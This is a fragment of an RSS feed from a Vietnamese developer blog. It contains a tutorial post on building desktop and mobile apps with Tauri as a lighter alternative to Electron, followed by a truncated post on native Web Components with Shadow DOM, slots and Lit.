&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Tauri — Desktop App Với Web Technology Nhẹ Hơn Electron</title><link>https://dopana-blog.pages.dev/blog/tauri-desktop-app-voi-web-technology-nhe-hon-electron</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/tauri-desktop-app-voi-web-technology-nhe-hon-electron</guid><description>Tauri xây desktop app bằng web tech (HTML/CSS/JS) nhưng nhẹ hơn Electron 20x. Rust backend, bundle ~2MB, bảo mật hơn.</description><pubDate>Sun, 05 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Tauri là framework xây desktop app với web technology — như Electron nhưng nhẹ hơn, nhanh hơn, an toàn hơn.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Electron:  Chromium (~200MB) + Node.js + HTML/CSS/JS
Tauri:     WebView (OS-native) + Rust backend + HTML/CSS/JS
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Size: Electron app ~200MB. Tauri app ~2MB.&lt;/p&gt;
&lt;h2&gt;Tại Sao Tauri?&lt;/h2&gt;
&lt;h3&gt;So Sánh Với Electron&lt;/h3&gt;
&lt;p&gt;| | Electron | Tauri |
|---|---|---|
| Bundle size | ~200MB | ~2MB |
| Memory | ~100-200MB | ~20-50MB |
| Backend | Node.js | Rust |
| Security | Thấp (Node full access) | Cao (allowlist API) |
| Build | npm build | npm build + cargo build |
| Cross-platform | ✅ | ✅ (macOS, Windows, Linux) |
| Mobile | ❌ | ✅ (iOS, Android — Tauri v2) |&lt;/p&gt;
&lt;h3&gt;Tauri v2&lt;/h3&gt;
&lt;p&gt;Tauri v2 (2025+) hỗ trợ mobile — iOS và Android:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Tauri v1:   Desktop (macOS, Windows, Linux)
Tauri v2:   Desktop + Mobile (iOS, Android)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Cài Đặt&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Prerequisites
# macOS: Xcode
# Linux: WebKitGTK, libsoup
# Windows: WebView2

npm create tauri-app@latest my-app
# Select: React, Vue, Svelte, Vanilla...

cd my-app
npm install
npm run tauri dev
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Project Structure&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;my-app/
├── src/              # Frontend (React/Vue/Svelte)
├── src-tauri/
│   ├── src/
│   │   └── main.rs   # Rust backend
│   ├── Cargo.toml
│   ├── tauri.conf.json
│   └── icons/
└── package.json
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Frontend (React + Vite)&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-tsx&quot;&gt;// src/App.tsx — Frontend React
import { invoke } from &apos;@tauri-apps/api/core&apos;
import { useState } from &apos;react&apos;

function App() {
  const [count, setCount] = useState(0)
  const [rustMessage, setRustMessage] = useState(&apos;&apos;)

  const greet = async () =&gt; {
    // Gọi Rust function
    const msg = await invoke(&apos;greet&apos;, { name: &apos;Tauri&apos; })
    setRustMessage(msg as string)
  }

  return (
    &amp;#x3C;div&gt;
      &amp;#x3C;h1&gt;Welcome to Tauri!&amp;#x3C;/h1&gt;
      &amp;#x3C;p&gt;Count: {count}&amp;#x3C;/p&gt;
      &amp;#x3C;button onClick={() =&gt; setCount(c =&gt; c + 1)}&gt;Increment&amp;#x3C;/button&gt;
      &amp;#x3C;button onClick={greet}&gt;Call Rust&amp;#x3C;/button&gt;
      &amp;#x3C;p&gt;{rustMessage}&amp;#x3C;/p&gt;
    &amp;#x3C;/div&gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Rust Backend&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-rust&quot;&gt;// src-tauri/src/main.rs
#[tauri::command]
fn greet(name: &amp;#x26;str) -&gt; String {
    format!(&quot;Hello, {}! From Rust 🦀&quot;, name)
}

#[tauri::command]
fn add(a: i32, b: i32) -&gt; i32 {
    a + b
}

#[tauri::command]
fn read_file(path: &amp;#x26;str) -&gt; Result&amp;#x3C;String, String&gt; {
    std::fs::read_to_string(path)
        .map_err(|e| e.to_string())
}

fn main() {
    tauri::Builder::default()
        .invoke_handler(tauri::generate_handler![greet, add, read_file])
        .run(tauri::generate_context!())
        .expect(&quot;error while running tauri application&quot;)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Tauri Commands (IPC)&lt;/h2&gt;
&lt;p&gt;Frontend gọi Rust backend qua &lt;code&gt;invoke&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Frontend
import { invoke } from &apos;@tauri-apps/api/core&apos;

// Gọi command
const sum = await invoke(&apos;add&apos;, { a: 5, b: 3 })
// sum: 8

// Với error handling
try {
  const content = await invoke(&apos;read_file&apos;, { path: &apos;/etc/hosts&apos; })
  console.log(content)
} catch (error) {
  console.error(&apos;Failed to read file:&apos;, error)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-rust&quot;&gt;// Rust — command có thể return Result
#[tauri::command]
fn get_user(id: u32) -&gt; Result&amp;#x3C;User, String&gt; {
    let user = database::find_user(id)
        .ok_or_else(|| format!(&quot;User {} not found&quot;, id))?;
    Ok(user)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;File System&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { readTextFile, writeTextFile } from &apos;@tauri-apps/plugin-fs&apos;
import { resolve } from &apos;@tauri-apps/api/path&apos;

// Đọc/ghi file trong app data directory
const appDir = await resolve(appDataDir())
const configPath = await resolve(appDir, &apos;config.json&apos;)

// Đọc
const config = await readTextFile(configPath)

// Ghi
await writeTextFile(configPath, JSON.stringify({ theme: &apos;dark&apos; }))
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;System Tray&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-rust&quot;&gt;use tauri::tray::TrayIconBuilder;
use tauri::menu::{Menu, MenuItem};

fn main() {
    let tray_menu = Menu::with_items([
        MenuItem::with_id(&quot;show&quot;, &quot;Show&quot;)?,
        MenuItem::with_id(&quot;quit&quot;, &quot;Quit&quot;)?,
    ])?;

    tauri::Builder::default()
        .setup(|app| {
            TrayIconBuilder::new()
                .icon(app.default_window_icon().unwrap().clone())
                .menu(&amp;#x26;tray_menu)
                .on_menu_event(|app, event| {
                    match event.id.as_ref() {
                        &quot;quit&quot; =&gt; app.exit(0),
                        &quot;show&quot; =&gt; { /* show window */ }
                        _ =&gt; {}
                    }
                })
                .build(app)?;
            Ok(())
        })
        .run(tauri::generate_context!())
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Window Management&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-rust&quot;&gt;#[tauri::command]
async fn create_window(app: tauri::AppHandle, label: String) {
    let _window = tauri::WebviewWindowBuilder::new(
        &amp;#x26;app,
        &amp;#x26;label,
        tauri::WebviewUrl::App(&quot;index.html&quot;.into()),
    )
    .title(&quot;New Window&quot;)
    .inner_size(800.0, 600.0)
    .build()
    .expect(&quot;Failed to create window&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Frontend
import { WebviewWindow } from &apos;@tauri-apps/api/webviewWindow&apos;

const win = new WebviewWindow(&apos;settings&apos;, {
  url: &apos;/settings&apos;,
  width: 600,
  height: 400,
  title: &apos;Settings&apos;,
})

win.once(&apos;tauri://created&apos;, () =&gt; {
  console.log(&apos;Window created&apos;)
})

win.once(&apos;tauri://error&apos;, (e) =&gt; {
  console.error(&apos;Failed:&apos;, e)
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Plugin Ecosystem&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Tauri plugins
npm run tauri add shell # Run shell commands
npm run tauri add fs # File system
npm run tauri add dialog # Native dialogs
npm run tauri add http # HTTP client
npm run tauri add store # Persistent key-value store
npm run tauri add sql # SQLite
npm run tauri add clipboard # Clipboard access
npm run tauri add updater # Auto-update
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { open } from &apos;@tauri-apps/plugin-dialog&apos;

// Native file dialog
const file = await open({
  multiple: false,
  filters: [{ name: &apos;Images&apos;, extensions: [&apos;png&apos;, &apos;jpg&apos;] }],
})
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { Store } from &apos;@tauri-apps/plugin-store&apos;

// Persistent store
const store = await Store.load(&apos;settings.json&apos;)
await store.set(&apos;theme&apos;, &apos;dark&apos;)
await store.save()

const theme = await store.get&amp;#x3C;string&gt;(&apos;theme&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Build &amp;#x26; Distribute&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Development
npm run tauri dev

# Build cho production
npm run tauri build
# dist/tauri/my-app.dmg (macOS)
# dist/tauri/my-app.msi (Windows)
# dist/tauri/my-app.deb (Linux)
# ~2MB — so với Electron ~200MB
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;// tauri.conf.json — bundle config
{
  &quot;bundle&quot;: {
    &quot;active&quot;: true,
    &quot;icon&quot;: [&quot;icons/icon.png&quot;],
    &quot;identifier&quot;: &quot;com.myapp.app&quot;,
    &quot;targets&quot;: [&quot;dmg&quot;, &quot;msi&quot;, &quot;deb&quot;, &quot;appimage&quot;]
  },
  &quot;security&quot;: {
    &quot;csp&quot;: &quot;default-src &apos;self&apos;; script-src &apos;self&apos;&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Auto-Update&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;plugins&quot;: {
    &quot;updater&quot;: {
      &quot;pubkey&quot;: &quot;...&quot;,
      &quot;endpoints&quot;: [
        &quot;https://releases.myapp.com/{{target}}-{{arch}}/{{current_version}}&quot;
      ]
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { check } from &apos;@tauri-apps/plugin-updater&apos;

const update = await check()
if (update?.available) {
  await update.downloadAndInstall()
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Khi Nào Dùng Tauri?&lt;/h2&gt;
&lt;h3&gt;✅ Nên dùng&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Desktop app mới — muốn nhẹ, fast, native&lt;/li&gt;
&lt;li&gt;Cross-platform — một codebase cho macOS, Windows, Linux&lt;/li&gt;
&lt;li&gt;System tool — cần Rust performance (file processing, network)&lt;/li&gt;
&lt;li&gt;Mobile + Desktop — Tauri v2 cho iOS và Android&lt;/li&gt;
&lt;li&gt;Security-sensitive — cần sandbox, minimal API access&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;❌ Không nên&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Desktop app cần nhiều Node.js library — Electron ecosystem lớn hơn&lt;/li&gt;
&lt;li&gt;Complex native API — Electron có nhiều native module hơn&lt;/li&gt;
&lt;li&gt;Prototype nhanh — Electron quen hơn nếu team biết Node&lt;/li&gt;
&lt;li&gt;Cần Chromium DevTools mạnh — WebView ít tính năng hơn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Tổng Kết&lt;/h2&gt;
&lt;p&gt;Tauri là Electron thế hệ mới: web frontend, Rust backend, bundle 1/100 kích thước.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Tauri app — ~2MB vs Electron ~200MB
npm create tauri-app@latest my-app
cd my-app
npm run tauri dev # Dev với hot reload
npm run tauri build # Bundle ~2MB .dmg/.msi/.deb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;| | Electron | Tauri |
|---|---|---|
| Bundle | ~200MB | ~2MB |
| RAM | ~100-200MB | ~20-50MB |
| Backend | Node.js | Rust 🦀 |
| Security | Thấp | Cao (allowlist) |
| Mobile | ❌ | ✅ (Tauri v2) |
| Build time | 1-2 phút | 2-5 phút (+ Rust compile) |&lt;/p&gt;
&lt;p&gt;Tauri không thay thế Electron mọi lúc — nhưng cho 80% desktop app, bundle nhỏ hơn 100x, memory ít hơn 5x là lợi thế khó bỏ qua.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://v2.tauri.app/&quot;&gt;Tauri Official Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://v2.tauri.app/start/architecture/&quot;&gt;Tauri Architecture Overview&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://v2.tauri.app/security/csp/&quot;&gt;Tauri Security — CSP&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://v2.tauri.app/plugin/&quot;&gt;Tauri Plugin System&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/tauri-apps/tauri&quot;&gt;Tauri GitHub Repository&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Web Components — Component Native Không Cần Framework</title><link>https://dopana-blog.pages.dev/blog/web-components-component-native-khong-can-framework</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/web-components-component-native-khong-can-framework</guid><description>Web Components là tiêu chuẩn browser cho reusable component — Custom Elements, Shadow DOM, Slot. Không React, không Vue, không build step.</description><pubDate>Sun, 05 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Web Components là tiêu chuẩn browser cho phép tạo reusable component — không cần framework nào.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;!-- Dùng component — chỉ là HTML tag --&gt;
&amp;#x3C;star-rating value=&quot;4&quot; max=&quot;5&quot;&gt;&amp;#x3C;/star-rating&gt;
&amp;#x3C;user-avatar src=&quot;/avatar.jpg&quot; size=&quot;large&quot;&gt;&amp;#x3C;/user-avatar&gt;
&amp;#x3C;confirm-dialog&gt;
  Bạn chắc chắn muốn xoá?
&amp;#x3C;/confirm-dialog&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Chạy trong mọi browser hiện đại, kết hợp được với React/Vue/Svelte/Astro.&lt;/p&gt;
&lt;h2&gt;Core Technologies&lt;/h2&gt;
&lt;p&gt;Web Components gồm 3 tiêu chuẩn:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Custom Elements  →  Định nghĩa HTML tag mới
Shadow DOM       →  Encapsulation (style + DOM riêng)
HTML Templates   →  Declarative markup (slot, template)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Custom Elements&lt;/h2&gt;
&lt;h3&gt;Định nghĩa&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;class StarRating extends HTMLElement {
  constructor() {
    super()
    this._value = 0
    this._max = 5
  }

  // Attribute nào được observe
  static get observedAttributes() {
    return [&apos;value&apos;, &apos;max&apos;]
  }

  // Khi attribute thay đổi
  attributeChangedCallback(name, oldValue, newValue) {
    if (name === &apos;value&apos;) this._value = parseInt(newValue)
    if (name === &apos;max&apos;) this._max = parseInt(newValue)
    this.render()
  }

  // Gọi khi element được thêm vào DOM
  connectedCallback() {
    this.render()
  }

  render() {
    this.innerHTML = &apos;&apos;
    for (let i = 1; i &amp;#x3C;= this._max; i++) {
      const star = document.createElement(&apos;span&apos;)
      star.textContent = i &amp;#x3C;= this._value ? &apos;★&apos; : &apos;☆&apos;
      star.style.cursor = &apos;pointer&apos;
      star.addEventListener(&apos;click&apos;, () =&gt; {
        this.setAttribute(&apos;value&apos;, i)
        this.dispatchEvent(new CustomEvent(&apos;rate&apos;, { detail: i }))
      })
      this.appendChild(star)
    }
  }
}

customElements.define(&apos;star-rating&apos;, StarRating)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Dùng&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;star-rating value=&quot;3&quot; max=&quot;5&quot;&gt;&amp;#x3C;/star-rating&gt;

&amp;#x3C;script&gt;
  document.querySelector(&apos;star-rating&apos;)
    .addEventListener(&apos;rate&apos;, (e) =&gt; {
      console.log(&apos;Rated:&apos;, e.detail)
    })
&amp;#x3C;/script&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Lifecycle&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;class LifecycleDemo extends HTMLElement {
  constructor() {
    super()
    console.log(&apos;1. constructor — khởi tạo state&apos;)
  }

  connectedCallback() {
    console.log(&apos;2. connectedCallback — thêm vào DOM&apos;)
    // Setup event listeners, fetch data
  }

  disconnectedCallback() {
    console.log(&apos;3. disconnectedCallback — xoá khỏi DOM&apos;)
    // Cleanup: remove listeners, release resources
  }

  attributeChangedCallback(name, oldVal, newVal) {
    console.log(`4. attributeChanged: ${name} ${oldVal} → ${newVal}`)
  }

  adoptedCallback() {
    console.log(&apos;5. adoptedCallback — move between documents&apos;)
  }

  static get observedAttributes() {
    return [&apos;disabled&apos;, &apos;value&apos;, &apos;label&apos;]
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Shadow DOM&lt;/h2&gt;
&lt;p&gt;Shadow DOM cô lập style và DOM — không bị ảnh hưởng bởi CSS global.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;class UserCard extends HTMLElement {
  constructor() {
    super()
    // Attach shadow root — DOM riêng, style riêng
    this.attachShadow({ mode: &apos;open&apos; })
  }

  connectedCallback() {
    const name = this.getAttribute(&apos;name&apos;) || &apos;Guest&apos;
    const avatar = this.getAttribute(&apos;avatar&apos;) || &apos;/default-avatar.png&apos;

    this.shadowRoot.innerHTML = `
      &amp;#x3C;style&gt;
        /* Style này chỉ áp dụng trong shadow DOM */
        .card {
          border: 1px solid #ddd;
          border-radius: 8px;
          padding: 16px;
          display: flex;
          align-items: center;
          gap: 12px;
          font-family: system-ui;
        }
        img {
          width: 48px;
          height: 48px;
          border-radius: 50%;
          object-fit: cover;
        }
        .name {
          font-weight: 600;
          font-size: 16px;
        }
        .role {
          color: #666;
          font-size: 14px;
        }
      &amp;#x3C;/style&gt;

      &amp;#x3C;div class=&quot;card&quot;&gt;
        &amp;#x3C;img src=&quot;${avatar}&quot; alt=&quot;${name}&quot;&gt;
        &amp;#x3C;div&gt;
          &amp;#x3C;div class=&quot;name&quot;&gt;${name}&amp;#x3C;/div&gt;
          &amp;#x3C;div class=&quot;role&quot;&gt;&amp;#x3C;slot name=&quot;role&quot;&gt;User&amp;#x3C;/slot&gt;&amp;#x3C;/div&gt;
        &amp;#x3C;/div&gt;
      &amp;#x3C;/div&gt;
    `
  }
}

customElements.define(&apos;user-card&apos;, UserCard)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;!-- CSS global không ảnh hưởng đến card --&gt;
&amp;#x3C;style&gt;
  .card { background: red; }  /* Không ảnh hưởng */
  img { filter: blur(10px); } /* Không ảnh hưởng */
&amp;#x3C;/style&gt;

&amp;#x3C;user-card name=&quot;Alice&quot; avatar=&quot;/alice.jpg&quot;&gt;
  &amp;#x3C;span slot=&quot;role&quot;&gt;Admin&amp;#x3C;/span&gt;
&amp;#x3C;/user-card&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Slots&lt;/h2&gt;
&lt;p&gt;Slot cho phép component nhận children từ bên ngoài:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;class ConfirmDialog extends HTMLElement {
  constructor() {
    super()
    this.attachShadow({ mode: &apos;open&apos; })
  }

  connectedCallback() {
    const title = this.getAttribute(&apos;title&apos;) || &apos;Confirm&apos;

    this.shadowRoot.innerHTML = `
      &amp;#x3C;style&gt;
        .overlay {
          position: fixed;
          inset: 0;
          background: rgba(0,0,0,0.5);
          display: flex;
          align-items: center;
          justify-content: center;
        }
        .dialog {
          background: white;
          border-radius: 12px;
          padding: 24px;
          min-width: 300px;
          box-shadow: 0 20px 60px rgba(0,0,0,0.3);
        }
        h2 { margin: 0 0 16px; }
        .actions { display: flex; gap: 8px; justify-content: flex-end; margin-top: 16px; }
        button {
          padding: 8px 16px;
          border-radius: 6px;
          border: 1px solid #ddd;
          cursor: pointer;
        }
        .confirm { background: #0066ff; color: white; border: none; }
      &amp;#x3C;/style&gt;

      &amp;#x3C;div class=&quot;overlay&quot; part=&quot;overlay&quot;&gt;
        &amp;#x3C;div class=&quot;dialog&quot;&gt;
          &amp;#x3C;h2&gt;${title}&amp;#x3C;/h2&gt;
          &amp;#x3C;slot&gt;&amp;#x3C;/slot&gt;  &amp;#x3C;!-- Nội dung từ bên ngoài --&gt;
          &amp;#x3C;div class=&quot;actions&quot;&gt;
            &amp;#x3C;button class=&quot;cancel&quot; part=&quot;cancel-btn&quot;&gt;Cancel&amp;#x3C;/button&gt;
            &amp;#x3C;button class=&quot;confirm&quot; part=&quot;confirm-btn&quot;&gt;Confirm&amp;#x3C;/button&gt;
          &amp;#x3C;/div&gt;
        &amp;#x3C;/div&gt;
      &amp;#x3C;/div&gt;
    `

    this.shadowRoot.querySelector(&apos;.cancel&apos;)
      .addEventListener(&apos;click&apos;, () =&gt; {
        this.dispatchEvent(new CustomEvent(&apos;cancel&apos;))
        this.remove()
      })

    this.shadowRoot.querySelector(&apos;.confirm&apos;)
      .addEventListener(&apos;click&apos;, () =&gt; {
        this.dispatchEvent(new CustomEvent(&apos;confirm&apos;))
        this.remove()
      })
  }
}

customElements.define(&apos;confirm-dialog&apos;, ConfirmDialog)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;confirm-dialog title=&quot;Delete Post&quot; id=&quot;dialog&quot;&gt;
  &amp;#x3C;p&gt;Bạn có chắc muốn xoá bài viết này?&amp;#x3C;/p&gt;
  &amp;#x3C;p style=&quot;color: red;&quot;&gt;Hành động này không thể hoàn tác.&amp;#x3C;/p&gt;
&amp;#x3C;/confirm-dialog&gt;

&amp;#x3C;script&gt;
  const dialog = document.getElementById(&apos;dialog&apos;)
  dialog.addEventListener(&apos;confirm&apos;, () =&gt; deletePost(postId))
  dialog.addEventListener(&apos;cancel&apos;, () =&gt; console.log(&apos;Cancelled&apos;))
&amp;#x3C;/script&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;HTML Template&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;!-- Template — không render cho đến khi dùng --&gt;
&amp;#x3C;template id=&quot;tooltip-template&quot;&gt;
  &amp;#x3C;style&gt;
    .tooltip {
      background: #333;
      color: white;
      padding: 8px 12px;
      border-radius: 6px;
      font-size: 14px;
      position: absolute;
      z-index: 1000;
      white-space: nowrap;
    }
  &amp;#x3C;/style&gt;
  &amp;#x3C;div class=&quot;tooltip&quot;&gt;
    &amp;#x3C;slot&gt;&amp;#x3C;/slot&gt;
  &amp;#x3C;/div&gt;
&amp;#x3C;/template&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;class TooltipElement extends HTMLElement {
  connectedCallback() {
    const template = document.getElementById(&apos;tooltip-template&apos;)
    const clone = template.content.cloneNode(true)
    this.appendChild(clone)

    const text = this.getAttribute(&apos;text&apos;) || &apos;&apos;
    this.querySelector(&apos;.tooltip&apos;).textContent = text
  }
}

customElements.define(&apos;tooltip-element&apos;, TooltipElement)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;State Management&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;class CounterElement extends HTMLElement {
  constructor() {
    super()
    this.attachShadow({ mode: &apos;open&apos; })
    this._count = 0
  }

  connectedCallback() {
    this.render()
  }

  render() {
    this.shadowRoot.innerHTML = `
      &amp;#x3C;style&gt;
        :host { display: inline-flex; align-items: center; gap: 8px; }
        button {
          width: 32px; height: 32px;
          border: 1px solid #ddd;
          border-radius: 6px;
          cursor: pointer;
          font-size: 18px;
        }
        span { font-size: 18px; min-width: 40px; text-align: center; }
      &amp;#x3C;/style&gt;
      &amp;#x3C;button id=&quot;dec&quot;&gt;−&amp;#x3C;/button&gt;
      &amp;#x3C;span&gt;${this._count}&amp;#x3C;/span&gt;
      &amp;#x3C;button id=&quot;inc&quot;&gt;+&amp;#x3C;/button&gt;
    `

    this.shadowRoot.getElementById(&apos;inc&apos;)
      .addEventListener(&apos;click&apos;, () =&gt; {
        this._count++
        this.render()
        this.dispatchEvent(new CustomEvent(&apos;change&apos;, {
          detail: this._count,
        }))
      })

    this.shadowRoot.getElementById(&apos;dec&apos;)
      .addEventListener(&apos;click&apos;, () =&gt; {
        this._count--
        this.render()
        this.dispatchEvent(new CustomEvent(&apos;change&apos;, {
          detail: this._count,
        }))
      })
  }
}

customElements.define(&apos;counter-element&apos;, CounterElement)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Tích Hợp Với Framework&lt;/h2&gt;
&lt;p&gt;Web Components tương thích mọi framework:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-tsx&quot;&gt;// React — dùng như HTML tag thường
function App() {
  return (
    &amp;#x3C;div&gt;
      &amp;#x3C;star-rating value={rating} max={5}
        onRate={(e) =&gt; setRating(e.detail)}
      /&gt;
      &amp;#x3C;user-card name=&quot;Alice&quot; avatar=&quot;/alice.jpg&quot; /&gt;
    &amp;#x3C;/div&gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-svelte&quot;&gt;&amp;#x3C;!-- Svelte --&gt;
&amp;#x3C;counter-element
  on:change={(e) =&gt; count = e.detail}
/&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-astro&quot;&gt;&amp;#x3C;!-- Astro — zero JS mặc định --&gt;
---
import Layout from &apos;../layouts/Layout.astro&apos;
---

&amp;#x3C;Layout&gt;
  &amp;#x3C;star-rating value=&quot;4&quot; max=&quot;5&quot; /&gt;
  &amp;#x3C;user-card name=&quot;Alice&quot; avatar=&quot;/alice.jpg&quot;&gt;
    &amp;#x3C;span slot=&quot;role&quot;&gt;Admin&amp;#x3C;/span&gt;
  &amp;#x3C;/user-card&gt;
&amp;#x3C;/Layout&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Lit — Thư Viện Cho Web Components&lt;/h2&gt;
&lt;p&gt;Lit giúp viết Web Components dễ hơn:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { LitElement, html, css } from &apos;lit&apos;
import { customElement, property } from &apos;lit/decorators.js&apos;

@customElement(&apos;my-button&apos;)
export class MyButton extends LitElement {
  static styles = css`
    button {
      background: #0066ff;
      color: white;
      border: none;
      padding: 8px 16px;
      border-radius: 6px;
      cursor: pointer;
      &amp;#x26;:hover { opacity: 0.9; }
    }
  `

  @property({ type: String }) variant: &apos;primary&apos; | &apos;danger&apos; = &apos;primary&apos;

  render() {
    return html`&amp;#x3C;button class=${this.variant}&gt;
      &amp;#x3C;slot&gt;&amp;#x3C;/slot&gt;
    &amp;#x3C;/button&gt;`
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;my-button variant=&quot;danger&quot;&gt;Delete&amp;#x3C;/my-button&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Khi Nào Dùng Web Components?&lt;/h2&gt;
&lt;h3&gt;✅ Nên dùng&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Design system / Component library — dùng được mọi framework&lt;/li&gt;
&lt;li&gt;Micro-frontend — team khác nhau dùng framework khác nhau&lt;/li&gt;
&lt;li&gt;Embedded widget — third-party widget chạy trong trang bất kỳ&lt;/li&gt;
&lt;li&gt;Legacy app — thêm component mới vào app jQuery/SPA cũ&lt;/li&gt;
&lt;li&gt;Framework-agnostic library — muốn ai cũng dùng được&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;❌ Không nên&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;App chính — React/Vue/Svelte có developer experience tốt hơn&lt;/li&gt;
&lt;li&gt;Complex state — Web Components không có state management built-in&lt;/li&gt;
&lt;li&gt;SSR — Web Components cần JavaScript để hydrate&lt;/li&gt;
&lt;li&gt;Small team, one framework — không cần abstraction này&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Tổng Kết&lt;/h2&gt;
&lt;p&gt;Web Components là tiêu chuẩn, không phải thư viện. Nó giải quyết bài toán &quot;component dùng được ở mọi nơi&quot;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;// Web Component — 3 API, không dependency
customElements.define(&apos;my-component&apos;, MyComponent)
this.attachShadow({ mode: &apos;open&apos; })
&amp;#x3C;slot&gt;&amp;#x3C;/slot&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;| Tiêu chí | React/Vue/Svelte | Web Components |
|---|---|---|
